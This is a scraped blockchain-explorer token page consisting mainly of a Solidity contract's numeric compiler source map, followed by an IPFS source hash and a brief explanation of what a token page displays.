:38;;;;-1:-1:-1;;;;;;9741:20:0;;9756:4;9741:20;;9723:38;9720:174;;;9793:85;9874:3;9793:76;9821:16;;9810:9;;:27;9809:59;;9853:15;;9809:59;;;9839:13;;9793:11;;:15;:76::i;:85::-;9781:97;;9720:174;-1:-1:-1;;;;;9909:16:0;;;;;;:10;:16;;;;;;;;9908:17;:36;;;;-1:-1:-1;;;;;;9930:14:0;;;;;;:10;:14;;;;;;;;9929:15;9908:36;:60;;;;-1:-1:-1;;;;;;9948:20:0;;9963:4;9948:20;;9908:60;9904:116;;;-1:-1:-1;10003:1:0;9904:116;10085:4;10036:28;7032:18;;;:9;:18;;;;;;10110:9;;;;:20;;;;-1:-1:-1;10124:6:0;;;;10123:7;10110:20;:38;;;;-1:-1:-1;;;;;;10134:14:0;;;;;;:10;:14;;;;;;;;10110:38;:53;;;;-1:-1:-1;10152:11:0;;;;;;;10110:53;:95;;;;;10188:17;;10167:20;:38;10110:95;:129;;;;;10221:18;;10209:9;;:30;10110:129;10106:1132;;;10279:13;;10264:12;:28;10260:88;;;10327:1;10317:9;:11;10260:88;10386:12;;10374:9;;:24;10366:52;;;;-1:-1:-1;;;10366:52:0;;10960:2:1;10366:52:0;;;10942:21:1;10999:2;10979:18;;;10972:30;-1:-1:-1;;;11018:18:1;;;11011:45;11073:18;;10366:52:0;10758:339:1;10366:52:0;10437:74;10454:56;10458:11;10471:38;10475:20;10497:11;;10471:3;:38::i;:::-;10454:3;:56::i;:::-;10437:16;:74::i;:::-;10559:21;10602:22;;10599:105;;10649:35;10662:21;10649:12;:35::i;:::-;10722:9;:11;;;:9;:11;;;:::i;:::-;;;;-1:-1:-1;;10768:12:0;10752:13;:28;-1:-1:-1;10106:1132:0;;;10821:6;;;;10820:7;:25;;;;-1:-1:-1;;;;;;10831:14:0;;;;;;:10;:14;;;;;;;;10820:25;:40;;;;-1:-1:-1;10849:11:0;;;;;;;10820:40;:82;;;;;10885:17;;10864:20;:38;10820:82;:115;;;;;10917:18;;10906:9;;:29;10820:115;10817:421;;;10956:75;10973:57;10977:11;10991:38;10995:20;11017:11;;10991:3;:38::i;10956:75::-;11079:21;11122:22;;11119:104;;11168:35;11181:21;11168:12;:35::i;:::-;10937:301;10817:421;9017:2232;8959:2290;-1:-1:-1;;;;;11279:22:0;;;;;;:16;:22;;;;;;;;;:45;;-1:-1:-1;;;;;;11304:20:0;;;;;;:16;:20;;;;;;;;11279:45;11278:84;;;;-1:-1:-1;;;;;;11343:19:0;;11357:4;11343:19;;11278:84;:105;;;;-1:-1:-1;;;;;;11366:17:0;;11378:4;11366:17;;11278:105;11261:192;;;11429:12;11410:16;:31;11261:192;-1:-1:-1;;;;;11477:22:0;;;;;;:16;:22;;;;;;;;11476:23;:48;;;;-1:-1:-1;;;;;;11504:20:0;;;;;;:16;:20;;;;;;;;11503:21;11476:48;11473:961;;;11546:13;;-1:-1:-1;;;;;11546:19:0;;;:13;;:19;11542:881;;-1:-1:-1;;;;;11617:17:0;;11587:27;11617:17;;;:11;:17;;;;;11716:16;;11695:18;;:37;;11716:16;11695:37;:::i;:::-;11671:21;;;;:61;;;;11769:19;;:15;:19;:::i;:::-;11751:15;;;;:37;11542:881;;;-1:-1:-1;;;;;11859:15:0;;;11829:27;11859:15;;;:11;:15;;;;;11897:13;;11859:15;;11897:21;;;:13;;:21;11893:515;;-1:-1:-1;;;;;11969:17:0;;11944:22;11969:17;;;:11;:17;;;;;:28;12025:18;;:23;;:62;;-1:-1:-1;12069:18:0;;12052:35;;12025:62;12022:153;;;12116:35;;;12022:153;11921:273;11893:515;;;12230:18;;12224:165;;12314:18;;12303:9;;:29;:62;;12353:12;12303:62;;;12335:15;12349:1;12335:12;:15;:::i;:::-;12282:83;;12224:165;11810:613;11542:881;12446:48;12461:4;12467:2;12471:11;12484:9;12446:14;:48::i;:::-;8556:3946;8482:4020;;;:::o;1845:190::-;1931:7;1967:12;1959:6;;;;1951:29;;;;-1:-1:-1;;;1951:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1991:9:0;2003:5;2007:1;2003;:5;:::i;:::-;1991:17;1845:190;-1:-1:-1;;;;;1845:190:0:o;13591:486::-;6107:6;:13;;-1:-1:-1;;6107:13:0;6116:4;6107:13;;;13693:16:::1;::::0;;13707:1:::1;13693:16:::0;;;;;::::1;::::0;;-1:-1:-1;;13693:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;13693:16:0::1;13669:40;;13738:4;13720;13725:1;13720:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13720:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;13764:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;13764:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;13720:7;;13764:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13754:4;13759:1;13754:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13754:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;13831:15:::1;::::0;13799:61:::1;::::0;13816:4:::1;::::0;13831:15:::1;13848:11:::0;13799:8:::1;:61::i;:::-;13873:15;::::0;:196:::1;::::0;-1:-1:-1;;;13873:196:0;;-1:-1:-1;;;;;13873:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;13954:11;;13873:15:::1;::::0;13996:4;;14023::::1;::::0;14043:15:::1;::::0;13873:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;6143:6:0;:14;;-1:-1:-1;;6143:14:0;;;-1:-1:-1;;;;13591:486:0:o;14253:92::-;14310:10;;:27;;-1:-1:-1;;;;;14310:10:0;;;;:27;;;;;14330:6;;14310:10;:27;:10;:27;14330:6;14310:10;:27;;;;;;;;;;;;;;;;;;;8225:249;-1:-1:-1;;;;;8332:15:0;;;;;;:9;:15;;;;;;:32;;8352:11;8332:19;:32::i;:::-;-1:-1:-1;;;;;8316:15:0;;;;;;;:9;:15;;;;;;:48;;;;8389:13;;;;;;;:30;;8407:11;8389:17;:30::i;:::-;-1:-1:-1;;;;;8375:13:0;;;;;;;:9;:13;;;;;;;:44;;;;8435:31;;;;;;;;;;8454:11;1361:25:1;;1349:2;1334:18;;1215:177;2043:246:0;2101:7;2125:1;2130;2125:6;2121:47;;-1:-1:-1;2155:1:0;2148:8;;2121:47;2178:9;2190:5;2194:1;2190;:5;:::i;:::-;2178:17;-1:-1:-1;2223:1:0;2214:5;2218:1;2178:17;2214:5;:::i;:::-;:10;2206:56;;;;-1:-1:-1;;;2206:56:0;;12908:2:1;2206:56:0;;;12890:21:1;12947:2;12927:18;;;12920:30;12986:34;12966:18;;;12959:62;-1:-1:-1;;;13037:18:1;;;13030:31;13078:19;;2206:56:0;12706:397:1;2206:56:0;2280:1;2043:246;-1:-1:-1;;;2043:246:0:o;2494:132::-;2552:7;2579:39;2583:1;2586;2579:39;;;;;;;;;;;;;;;;;:3;:39::i;13485:98::-;13542:7;13569:1;13567;:3;13566:9;;13574:1;13566:9;;;-1:-1:-1;13572:1:0;13485:98;-1:-1:-1;13485:98:0:o;12510:256::-;12619:15;12635:46;12653:4;12659:11;12671:9;12635:17;:46::i;:::-;12619:62;-1:-1:-1;12692:66:0;12712:4;12718:2;12619:62;12731:26;:11;12747:9;12731:15;:26::i;:::-;12692:19;:66::i;:::-;12608:158;12510:256;;;;:::o;1701:136::-;1759:7;1786:43;1790:1;1793;1786:43;;;;;;;;;;;;;;;;;:3;:43::i;1514:179::-;1572:7;;1604:5;1608:1;1604;:5;:::i;:::-;1592:17;;1633:1;1628;:6;;1620:46;;;;-1:-1:-1;;;1620:46:0;;13310:2:1;1620:46:0;;;13292:21:1;13349:2;13329:18;;;13322:30;13388:29;13368:18;;;13361:57;13435:18;;1620:46:0;13108:351:1;2297:189:0;2383:7;2418:12;2411:5;2403:28;;;;-1:-1:-1;;;2403:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2442:9:0;2454:5;2458:1;2454;:5;:::i;12774:412::-;12917:10;;12873:7;;;;-1:-1:-1;;;;;12917:10:0;;;12910:17;;;;:62;;12943:12;;:29;;12960:11;12943:16;:29::i;:::-;12910:62;;;12929:11;12910:62;12893:79;-1:-1:-1;12987:12:0;;12983:171;;13061:4;13043:24;;;;:9;:24;;;;;;:39;;13072:9;13043:28;:39::i;:::-;13034:4;13016:24;;;;:9;:24;;;;;;;:66;;;;13102:40;;-1:-1:-1;;;;;13102:40:0;;;;;;;13132:9;1361:25:1;;1349:2;1334:18;;1215:177;13102:40:0;;;;;;;;12983:171;13171:7;12774:412;-1:-1:-1;;;;12774:412:0:o;13194:281::-;-1:-1:-1;;;;;13329:15:0;;;;;;:9;:15;;;;;;:31;;13349:10;13329:19;:31::i;:::-;-1:-1:-1;;;;;13312:15:0;;;;;;;:9;:15;;;;;;:48;;;;13386:13;;;;;;;:32;;13404:13;13386:17;:32::i;:::-;-1:-1:-1;;;;;13371:13:0;;;;;;;:9;:13;;;;;;;:47;;;;13434:33;;;;;;;;;;13453:13;1361:25:1;;1349:2;1334:18;;1215:177;13434:33:0;;;;;;;;13194:281;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2255:247::-;2314:6;2367:2;2355:9;2346:7;2342:23;2338:32;2335:52;;;2383:1;2380;2373:12;2335:52;2422:9;2409:23;2441:31;2466:5;2441:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:416;3121:1;3158:5;3121:1;3172:270;3193:7;3183:8;3180:21;3172:270;;;3252:4;3248:1;3244:6;3240:17;3234:4;3231:27;3228:53;;;3261:18;;:::i;:::-;3311:7;3301:8;3297:22;3294:55;;;3331:16;;;;3294:55;3410:22;;;;3370:15;;;;3172:270;;;3176:3;3032:416;;;;;:::o;3453:806::-;3502:5;3532:8;3522:80;;-1:-1:-1;3573:1:1;3587:5;;3522:80;3621:4;3611:76;;-1:-1:-1;3658:1:1;3672:5;;3611:76;3703:4;3721:1;3716:59;;;;3789:1;3784:130;;;;3696:218;;3716:59;3746:1;3737:10;;3760:5;;;3784:130;3821:3;3811:8;3808:17;3805:43;;;3828:18;;:::i;:::-;-1:-1:-1;;3884:1:1;3870:16;;3899:5;;3696:218;;3998:2;3988:8;3985:16;3979:3;3973:4;3970:13;3966:36;3960:2;3950:8;3947:16;3942:2;3936:4;3933:12;3929:35;3926:77;3923:159;;;-1:-1:-1;4035:19:1;;;4067:5;;3923:159;4114:34;4139:8;4133:4;4114:34;:::i;:::-;4184:6;4180:1;4176:6;4172:19;4163:7;4160:32;4157:58;;;4195:18;;:::i;:::-;4233:20;;3453:806;-1:-1:-1;;;3453:806:1:o;4264:140::-;4322:5;4351:47;4392:4;4382:8;4378:19;4372:4;4351:47;:::i;4409:168::-;4482:9;;;4513;;4530:15;;;4524:22;;4510:37;4500:71;;4551:18;;:::i;4582:356::-;4784:2;4766:21;;;4803:18;;;4796:30;4862:34;4857:2;4842:18;;4835:62;4929:2;4914:18;;4582:356::o;5295:251::-;5365:6;5418:2;5406:9;5397:7;5393:23;5389:32;5386:52;;;5434:1;5431;5424:12;5386:52;5466:9;5460:16;5485:31;5510:5;5485:31;:::i;6472:306::-;6560:6;6568;6576;6629:2;6617:9;6608:7;6604:23;6600:32;6597:52;;;6645:1;6642;6635:12;6597:52;6674:9;6668:16;6658:26;;6724:2;6713:9;6709:18;6703:25;6693:35;;6768:2;6757:9;6753:18;6747:25;6737:35;;6472:306;;;;;:::o;7062:277::-;7129:6;7182:2;7170:9;7161:7;7157:23;7153:32;7150:52;;;7198:1;7195;7188:12;7150:52;7230:9;7224:16;7283:5;7276:13;7269:21;7262:5;7259:32;7249:60;;7305:1;7302;7295:12;10133:125;10198:9;;;10219:10;;;10216:36;;;10232:18;;:::i;10618:135::-;10657:3;10678:17;;;10675:43;;10698:18;;:::i;:::-;-1:-1:-1;10745:1:1;10734:13;;10618:135::o;11102:128::-;11169:9;;;11190:11;;;11187:37;;;11204:18;;:::i;11367:127::-;11428:10;11423:3;11419:20;11416:1;11409:31;11459:4;11456:1;11449:15;11483:4;11480:1;11473:15;11499:980;11761:4;11809:3;11798:9;11794:19;11840:6;11829:9;11822:25;11866:2;11904:6;11899:2;11888:9;11884:18;11877:34;11947:3;11942:2;11931:9;11927:18;11920:31;11971:6;12006;12000:13;12037:6;12029;12022:22;12075:3;12064:9;12060:19;12053:26;;12114:2;12106:6;12102:15;12088:29;;12135:1;12145:195;12159:6;12156:1;12153:13;12145:195;;;12224:13;;-1:-1:-1;;;;;12220:39:1;12208:52;;12315:15;;;;12280:12;;;;12256:1;12174:9;12145:195;;;-1:-1:-1;;;;;;;12396:32:1;;;;12391:2;12376:18;;12369:60;-1:-1:-1;;;12460:3:1;12445:19;12438:35;12357:3;11499:980;-1:-1:-1;;;11499:980:1:o;12484:217::-;12524:1;12550;12540:132;;12594:10;12589:3;12585:20;12582:1;12575:31;12629:4;12626:1;12619:15;12657:4;12654:1;12647:15;12540:132;-1:-1:-1;12686:9:1;;12484:217::o

Swarm Source

ipfs://237254dd6259c7164b14008614fbd64196f0dcc9a8811e284fa64abb471b6e2c
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.